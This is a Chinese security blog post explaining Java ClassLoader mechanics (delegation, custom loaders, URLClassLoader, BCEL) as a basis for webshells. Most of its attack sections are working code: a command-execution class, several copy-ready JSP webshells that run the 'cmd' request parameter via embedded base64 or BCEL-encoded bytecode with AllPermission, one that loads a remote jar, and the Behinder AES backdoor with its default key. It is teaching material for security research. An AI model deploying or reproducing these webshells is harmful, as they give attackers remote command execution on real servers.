java安全--ClassLoader(类加载机制、字节码、webshell)
ClassLoader
一切的Java类都必须经过JVM加载后才能运行,而ClassLoader
的主要作用就是Java类文件的加载。在JVM类加载器中最顶层的是Bootstrap ClassLoader(引导类加载器)
、Extension ClassLoader(扩展类加载器)
、App ClassLoader(系统类加载器)
,AppClassLoader
是默认的类加载器,如果类加载时我们不指定类加载器的情况下,默认会使用AppClassLoader
加载类,ClassLoader.getSystemClassLoader()
返回的系统类加载器也是AppClassLoader
。
值得注意的是某些时候我们获取一个类的类加载器时候可能会返回一个null
值,如:java.io.File.class.getClassLoader()
将返回一个null
对象,因为java.io.File
类在JVM初始化的时候会被Bootstrap ClassLoader(引导类加载器)
加载(该类加载器实现于JVM层,采用C++编写),我们在尝试获取被Bootstrap ClassLoader
类加载器所加载的类的ClassLoader
时候都会返回null
。
ClassLoader
类有如下核心方法:
-
loadClass
(加载指定的Java类) -
findClass
(查找指定的Java类) -
findLoadedClass
(查找JVM已经加载过的类) -
defineClass
(定义一个Java类) -
resolveClass
(链接指定的Java类)
Java类动态加载方式
Java类加载方式分为显式
和隐式
,显式
即我们通常使用Java反射
或者ClassLoader
来动态加载一个类对象,而隐式
指的是类名.方法名()
或new
类实例。显式
类加载方式也可以理解为类动态加载,我们可以自定义类加载器去加载任意的类。
常用的类动态加载方式:
// 反射加载TestHelloWorld示例
Class.forName("com.anbai.sec.classloader.TestHelloWorld");
// ClassLoader加载TestHelloWorld示例
this.getClass().getClassLoader().loadClass("com.anbai.sec.classloader.TestHelloWorld");
Class.forName("类名")
默认会初始化被加载类的静态属性和方法,如果不希望初始化类可以使用Class.forName("类名", 是否初始化类, 类加载器)
,而ClassLoader.loadClass
默认不会初始化类方法。
写一个命令执行的类
编译成二进制并且用base64编码
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.Base64;
public class ByteCodeEvil {
String res;
public ByteCodeEvil(String cmd) throws IOException {
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
res = stringBuilder.toString();
//System.out.println(res);
}
@Override
public String toString() {
return res;
}
public static void main(String[] args) throws IOException {
InputStream inputStream = ByteCodeEvil.class.getClassLoader().getResourceAsStream("ByteCodeEvil.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
String code = Base64.getEncoder().encodeToString(bytes);
System.out.println(code);
ByteCodeEvil byteCodeEvil =new ByteCodeEvil("whoami");
System.out.println(byteCodeEvil);
}
}
自定义类加载
将上文的类使用javac
编译为字节码。通常在代码中加载字节码的过程会进行Base64编码。于是具体的代码中使用Base64解码后,转为类对象,手动触发该类的构造方法即可实现Webshell的功能
String cmd = request.getParameter("cmd");
ClassLoader loader = new ClassLoader() {...};
Class<?> clazz = loader.loadClass("ByteCodeEvil");
Constructor<?> constructor = clazz.getConstructor(String.class);
String result = constructor.newInstance(cmd).toString();
实际上自定义ClassLoader
这个过程并不简单
注意到ClassLoader是无法直接在运行时加载字节码的,至少需要重写findClass
方法和loadClass
方法
其中loadClass
方法会先查找该类是否已被加载,调用findLoadedClass
方法。
如果没有找到,则会调用loadClass
方法;如果还是没有找到,会调用findClass
方法。如果没有重写该方法的情况,默认是抛出异常。如果重写了该方法,则会自定义加载。
这就是在Java的类加载中的双亲委派机制:
首先会检查该类是否已经被加载,若没有被加载,则会委托父加载器进行装载,只有当父加载器无法加载时,才会调用自身的findClass()
方法进行加载。这样避免了子加载器加载一些试图冒名顶替可信任类的不可靠类,也不会让子加载器去实现父加载器实现的加载工作
例如用户使用自定义加载器加载java.lang.Object
类,实际上委派给BootstrapClassLoader
加载器。如果用户使用自定义类加载器加载java.lang.Exp
类,父类无法加载只能交给自定义类加载器。由于同在java.lang
包下,所以Exp
类可以访问其他类的protected
属性,可能涉及到一些敏感信息
下面重写findClass方法实现自定义类加载:
package com.trevain.classload1;
import java.util.Base64;
public class TestClassLoader extends ClassLoader{
// TestHelloWorld类名
private static String testClassName = "ByteCodeEvil";//替换名字
@Override
public Class<?> findClass(String name) throws ClassNotFoundException {
// 只处理TestHelloWorld类
if (name.equals(testClassName)) {
byte[] bytes = Base64.getDecoder().decode("base64_byte");//替换字节码
// 调用JVM的native方法定义TestHelloWorld类
return defineClass(testClassName, bytes, 0, bytes.length);
}
return super.findClass(name);
}
public static void main(String[] args) {
// 创建自定义的类加载器
TestClassLoader loader = new TestClassLoader();
try {
// 使用自定义的类加载器加载TestHelloWorld类
Class<?> testClass = loader.findClass(testClassName);
// 反射通过构造器新建对象
Object testInstance = testClass.getConstructor(String.class).newInstance("net user");
System.out.println(testInstance);
// 反射获取hello方法
//Method method = testInstance.getClass().getMethod("hello");
// 反射调用hello方法,等价于 String str = t.hello();
//String str = (String) method.invoke(testInstance);
//System.out.println(str);
} catch (Exception e) {
e.printStackTrace();
}
}
}
jsp webshell
以冰蝎
为首的JSP后门利用的就是自定义类加载实现的,冰蝎的客户端会将待执行的命令或代码片段通过动态编译成类字节码并加密后传到冰蝎的JSP后门,后门会经过AES解密得到一个随机类名的类字节码,然后调用自定义的类加载器加载,最终通过该类重写的equals
方法实现恶意攻击,其中equals
方法传入的pageContext
对象是为了便于获取到请求和响应对象,需要注意的是冰蝎的命令执行等参数不会从请求中获取,而是直接插入到了类成员变量中。
示例 - 冰蝎JSP后门:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
%>
<%
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>
把上面自定义加载器代码改一下成jsp webshell
<%@ page import="java.security.PermissionCollection" %>
<%@ page import="java.security.Permissions" %>
<%@ page import="java.security.AllPermission" %>
<%@ page import="java.security.ProtectionDomain" %>
<%@ page import="java.security.CodeSource" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.util.Base64" %>
<html>
<body>
<h2>自定义类加载器的JSP Webshell</h2>
<%
response.getOutputStream().write(new ClassLoader() {
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if (name.contains("ByteCodeEvil")) {
return findClass(name);
}
return super.loadClass(name);
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAiAoAGgA+BwA/CgACAD4HAEAHAEEKAEIAQwoAQgBECgBFAEYKAAUARwoABABICgAEAEkKAAIASggASwoAAgBMCQAQAE0HAE4KAE8AUAgAUQoAUgBTCgBUAFUKAFQAVgoAVwBYCgBZAFoJAFsAXAoAXQBeBwBfAQADcmVzAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA5MQnl0ZUNvZGVFdmlsOwEAA2NtZAEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQANU3RhY2tNYXBUYWJsZQcATgcAYAcAPwcAQAEACkV4Y2VwdGlvbnMHAGEBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAC2lucHV0U3RyZWFtAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAFYnl0ZXMBAAJbQgEABGNvZGUBAApTb3VyY2VGaWxlAQARQnl0ZUNvZGVFdmlsLmphdmEMAB0AYgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAGMMAGQAZQwAZgBnBwBoDABpAGoMAB0AawwAHQBsDABtADIMAG4AbwEAAQoMADEAMgwAGwAcAQAMQnl0ZUNvZGVFdmlsBwBwDABxAHIBABJCeXRlQ29kZUV2aWwuY2xhc3MHAHMMAHQAdQcAdgwAdwB4DAB5AHoHAHsMAHwAfwcAgAwAgQCCBwCDDACEAIUHAIYMAIcAHgEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAAygpVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAA9qYXZhL2xhbmcvQ2xhc3MBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBABNnZXRSZXNvdXJjZUFzU3RyZWFtAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9pby9JbnB1dFN0cmVhbTsBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAJYXZhaWxhYmxlAQADKClJAQAEcmVhZAEABShbQilJAQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBAAdFbmNvZGVyAQAMSW5uZXJDbGFzc2VzAQAcKClMamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyOwEAGGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgAhABAAGgAAAAEAAAAbABwAAAADAAEAHQAeAAIAHwAAANIABgAFAAAARyq3AAG7AAJZtwADTbsABFm7AAVZuAAGK7YAB7YACLcACbcACk4ttgALWToExgASLBkEtgAMEg22AAxXp//qKiy2AA61AA+xAAAAAwAgAAAAHgAHAAAACwAEAAwADAANACUADwAvABAAPgASAEYAEwAhAAAANAAFAAAARwAiACMAAAAAAEcAJAAcAAEADAA7ACUAJgACACUAIgAnACgAAwAsABsAKQAcAAQAKgAAABsAAv8AJQAEBwArBwAsBwAtBwAuAAD8ABgHACwALwAAAAQAAQAwAAEAMQAyAAEAHwAAAC8AAQABAAAABSq0AA+wAAAAAgAgAAAABgABAAAAFwAhAAAADAABAAAABQAiACMAAAAJADMANAACAB8AAACEAAIABAAAACgSELYAERIStgATTCu2ABS8CE0rLLYAFVe4ABYstgAXTrIAGC22ABmxAAAAAgAgAAAAGgAGAAAAGwALABwAEgAdABgAHgAgAB8AJwAgACEAAAAqAAQAAAAoADUANgAAAAsAHQA3ADgAAQASABYAOQA6AAIAIAAIADsAHAADAC8AAAAEAAEAMAACADwAAAACAD0AfgAAAAoAAQBZAFcAfQAJ");
PermissionCollection pc = new Permissions();
pc.add(new AllPermission());
ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
} catch (Exception e) {
e.printStackTrace();
}
return super.findClass(name);
}
}.loadClass("ByteCodeEvil").getConstructor(String.class).newInstance(request.getParameter("cmd")).toString().getBytes());
%>
</body>
</html>
URL类加载器
1.打包一个命令执行的jar包
如何打jar包:看我写的另外一篇https://www.cnblogs.com/trevain/p/14720185.html
package wang;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class ByteCodeEvil {
String res;
public ByteCodeEvil(String cmd) throws IOException {
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
res = stringBuilder.toString();
}
@Override
public String toString() {
return res;
}
public static void main(String[] args) throws IOException {
ByteCodeEvil byteCodeEvil =new ByteCodeEvil("whoami");
System.out.println(byteCodeEvil);
}
}
测试运行:java -cp javaEvalCmd.jar wang.ByteCodeEvil
2.URL类加载器实现
package com.trevain.classload1;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class URLClassLoaderTest {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
// 定义远程加载的jar路径
URL url = new URL("http://127.0.0.1:8000/javaEvalCmd.jar");
// 创建URLClassLoader对象,并加载远程jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});
// 通过URLClassLoader加载远程jar包中的CMD类
Class<?> cmdClass = ucl.loadClass("wang.ByteCodeEvil");
Object net_user = cmdClass.getConstructor(String.class).newInstance("net user");
//System.out.println(net_user);
}
}
3.改成jsp webshell
<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<html>
<body>
<h2>URLClassLoader加载远程jar的JSP Webshell</h2>
<%
response.getOutputStream().write(new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8000/javaEvalCmd.jar")}).loadClass(
"wang.ByteCodeEvil").getConstructor(String.class).newInstance(String.valueOf(request.getParameter("cmd"))).toString().getBytes());
%>
</body>
</html>
类加载隔离
创建类加载器的时候可以指定该类加载的父类加载器,ClassLoader是有隔离机制的,不同的ClassLoader可以加载相同的Class(两则必须是非继承关系),同级ClassLoader跨类加载器调用方法时必须使用反射。
跨类加载器加载
RASP和IAST经过会用到跨类加载器加载类的情况,因为RASP/IAST会在任意可能存在安全风险的类中插入检测代码,因此必须得保证RASP/IAST的类能够被插入的类所使用的类加载正确加载,否则就会出现ClassNotFoundException,除此之外,跨类加载器调用类方法时需要特别注意一个基本原则:ClassLoader A和ClassLoader B可以加载相同类名的类,但是ClassLoader A中的Class A和ClassLoader B中的Class A是完全不同的对象,两者之间调用只能通过反射
。
示例 - 跨类加载器加载:
package com.anbai.sec.classloader;
import java.lang.reflect.Method;
import static com.anbai.sec.classloader.TestClassLoader.TEST_CLASS_BYTES;
import static com.anbai.sec.classloader.TestClassLoader.TEST_CLASS_NAME;
public class TestCrossClassLoader {
public static class ClassLoaderA extends ClassLoader {
public ClassLoaderA(ClassLoader parent) {
super(parent);
}
{
// 加载类字节码
defineClass(TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length);
}
}
public static class ClassLoaderB extends ClassLoader {
public ClassLoaderB(ClassLoader parent) {
super(parent);
}
{
// 加载类字节码
defineClass(TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length);
}
}
public static void main(String[] args) throws Exception {
// 父类加载器
ClassLoader parentClassLoader = ClassLoader.getSystemClassLoader();
// A类加载器
ClassLoaderA aClassLoader = new ClassLoaderA(parentClassLoader);
// B类加载器
ClassLoaderB bClassLoader = new ClassLoaderB(parentClassLoader);
// 使用A/B类加载器加载同一个类
Class<?> aClass = Class.forName(TEST_CLASS_NAME, true, aClassLoader);
Class<?> aaClass = Class.forName(TEST_CLASS_NAME, true, aClassLoader);
Class<?> bClass = Class.forName(TEST_CLASS_NAME, true, bClassLoader);
// 比较A类加载和B类加载器加载的类是否相等
System.out.println("aClass == aaClass:" + (aClass == aaClass)); //相同
System.out.println("aClass == bClass:" + (aClass == bClass));//不同
System.out.println("\n" + aClass.getName() + "方法清单:");
// 获取该类所有方法
Method[] methods = aClass.getDeclaredMethods();
for (Method method : methods) {
System.out.println(method);
}
// 创建类实例
Object instanceA = aClass.newInstance();
// 获取hello方法
Method helloMethod = aClass.getMethod("hello");
// 调用hello方法
String result = (String) helloMethod.invoke(instanceA);
System.out.println("\n反射调用:" + TEST_CLASS_NAME + "类" + helloMethod.getName() + "方法,返回结果:" + result);
}
}
BCEL ClassLoader
BCEL(Apache Commons BCEL™)是一个用于分析、创建和操纵Java类文件的工具库,Oracle JDK引用了BCEL库,不过修改了原包名org.apache.bcel.util.ClassLoader为com.sun.org.apache.bcel.internal.util.ClassLoader,BCEL的类加载器在解析类名时会对ClassName中有$$BCEL$$标识的类做特殊处理,该特性经常被用于编写各类攻击Payload。
BCEL攻击原理
当BCEL的com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass加载一个类名中带有$$BCEL$$的类时会截取出$$BCEL$$后面的字符串,然后使用com.sun.org.apache.bcel.internal.classfile.Utility#decode将字符串解析成类字节码(带有攻击代码的恶意类),最后会调用defineClass注册解码后的类,一旦该类被加载就会触发类中的恶意代码,正是因为BCEL有了这个特性,才得以被广泛的应用于各类攻击Payload中。
BCEL兼容性问题
BCEL这个特性仅适用于BCEL 6.0以下,因为从6.0开始org.apache.bcel.classfile.ConstantUtf8#setBytes
就已经过时了,如下:
/**
* @param bytes the raw bytes of this Utf-8
* @deprecated (since 6.0)
*/
@java.lang.Deprecated
public final void setBytes( final String bytes ) {
throw new UnsupportedOperationException();
}
Oracle自带的BCEL是修改了原始的包名,因此也有兼容性问题,已知支持该特性的JDK版本为:JDK1.5 - 1.7
、JDK8 - JDK8u241
、JDK9
。
BCEL编码:
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class BcelEvil {
String res;
public BcelEvil(String cmd) throws IOException {
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
res = stringBuilder.toString();
}
@Override
public String toString() {
return res;
}
public static void main(String[] args) throws IOException {
InputStream inputStream = BcelEvil.class.getClassLoader().getResourceAsStream("BcelEvil.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
String code = Utility.encode(bytes, true);
System.out.println("$$BCEL$$" + code);
}
}
jsp格式webshell
<%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %>
<html>
<body>
<h2>BCEL字节码的JSP Webshell</h2>
<%
String bcelCode = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85U$5bW$hU$U$fe$86$ML$Y$86B$93R$$Z$bcQ$hn$j$ad$b7Z$w$da$mT4$5c$84$W$a4x$9bL$Oa$e8d$sN$s$I$de$aa$fe$86$fe$87$beZ$97$86$$q$f9$e8$83$8f$fe$M$7f$83$cb$fa$9dI$I$89$84$e5$ca$ca$3es$f6$de$b3$f7$b7$bf$bd$cf$99$3f$fe$f9$e57$A$_$e3$7b$jC$98$d6$f0$a6$8e6$b9$be$a5$e1$86$8e4f$a4x$5b$c7$y$e6t$b4$e3$a6$O$V$efH1$_$j$df$8d$e3$3d$b9f$3a$d1$8b$F$N$8b$3a$96$b0$i$c7$fb$3aV$b0$aa$e3$WnK$b1$a6c$j$ltb$Dw$e2$d8$d4$f1$n$3e$d2$f0$b1$82X$mJ$K$S$99$jk$d72$5d$cb$cb$9b$aba$e0x$f9$v$F$j$d7$j$cf$J$a7$V$f4$a5N$9aG$d7$U$a83$7eN$u$e8$c98$9eX$y$X$b2$o$b8ee$5d$n$c3$f9$b6$e5$aeY$81$p$f75$a5$gn$3bL$a5g$d2$b6pgw$j$97$vbv$n$a7$a0$bb$U$c5L$97$j7$t$C$F$83$t$d2$d5L$7c$e3L$b6$bc$b5$r$C$91$5b$RV$e4$3cPuv$7c3$ddd$a1$af$ea$S$Y$c3$af$86$96$7dw$c1$wF$40$c8$90$86O$c82$J$s$9a$d9$3d$5b$UC$c7$f7J$g$3eU$Q$P$fdjF$F$e7R$a3$adXQ$L$96$e3$v8$9f$da$3c$85$U$x$c8$b3$ccd$L$b3$82$$$c7$x$96Cn$85U$m$afu$e8$f3$c7jz$b5g$f7C$d9$95$b6$cd4$e3$d9$R$c9$fa$aa_$Ol1$e7H$w$bb$8f$u$bc$y$D$Y$b8$AKA$ff$v$a4$Rkk$86Ht$8b$fcU$9b$86$ac$B$h9$D$C$5b$g$f2$G$b6$e1$c8D$3bR$dc5$e0$e2$8a$81$C$c8$84$a2$hxQ$ee$9e$c0$93$q$f0$I$9a$G$df$40$R$9f$b1eu$b4$b6k$95$c8s$60$a0$84PC$d9$c0$$$3e7$b0$87$7d$N_$Y$f8$S_i$f8$da$c07$b8$c7$40$p$p$e9$99$d9$cc$c8$88$86o$N$7c$87a$F$bd$c7$V$$ew$84$j6$a9$8e$fa$96$ac$X$b5To$$$t$z$r$9bs$f6$d8$7d$a5$ec$85NA2$9b$Xa$7d$d3$d7$d4$f4$9aZv$5d$ec$J$5b$c1$a5V$t$a1A$b5$i$f8$b6$u$95$a6$9a2$d5$94$q$82$99$e6$h$H$a0$ff$u$db$89$R$YH$b54$c8$g$92$c7$a6$da$a4Km$9c$f6$5c$s$9a$f7$O$abX$U$k$cf$d5$e4$ff$a0$fd$ef$d9$ea96$cd$c8NU$RG$8f$Z$bf61M$fc4$98$f8z_K$D$BK$82E$v$9a$df$h$a5$a3$daGO$Hw$82$8dd$L$b5$82N$w$j$b7z$b9$b0$bd$f3$ec$92$q$81$e7$t$b5$99$96$db$x$b6_0Ke$cf$f4$83$bci$V$z$7b$5b$98Y$ce$a2$e9x$a1$I$3c$cb5$a3$81$dc$e2$992o$87$8e$eb$84$fbdOx$d5$T$d7$cf$uwZ$5e$B$8dC$b7_$K$F$b1$c4$fcr$d8x$a0$97$e9$da$C$7f$83Z$81V$94$3b$d7$c33$bc$b9$87$f8$JP$f8$e7$n$a2$8c$f1$f9$C$86y$ad$3f$c5$dd$9f$e8$e0$bd$P$dc$i$3b$80r$88$b6$8d$D$c4$W$O$a1n$i$a2$7d$e3$R$3a$c6$x$d0$w$88$l$a0$f3$A$fa$e2d$F$5d$h$d7$d4$df$91$98$YT$x0$S$dd$U$eb$P$k$ff56Q$c1$99$9f$d1$f30J$f04$e504$ca$$$7eJ$M$fe$baq$R$3d0$Jf$g$J$cc$nI$60$f2$bb$U$a5$c6$b3x$O$88$9eF$IQ$a1$ff$U$fd$9f$t$c4$8b$b4$5dB$8a1$t$I$7f$94V$VcQ$vm$8fiT5$8ck$98$d00$a9$e12$f07$G$b8c$g$d0M$c1$L$fc$f3$f6$a0$94$95$9a$5c$r$L$edc$3f$a1$e7$H$3e$b4E8$3b$oe$7f$84$c7$a8$3a$d4$f0t$e2$r$o$ac$d2t$9f$IT$aeW$T$bd$V$9cM$q$wHfH$cd$b9_$e3$L$e3$y$bdo$7dB$7d$84$f3$8b$3f$a2$bf$c6ab$80$cc$90$$$83$bcT0$f8$b0$9eo$88$Z$r$fe$$$d6$92$60$p$G$c8$d40s$bcF$ab$c40V$cd$83W$f0j$c4$df$q$zW$89$xA$3e$5e$c75F$Zf$8c$v$be$jk$w$f4z$94$e1$8d$7f$BP$cbmH$f2$H$A$A";
response.getOutputStream().write(String.valueOf(new ClassLoader().loadClass(bcelCode).getConstructor(String.class).newInstance(request.getParameter("cmd")).toString()).getBytes());
%>
</body>
</html>
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
2021-01-25 安全相关很有用的github项目和链接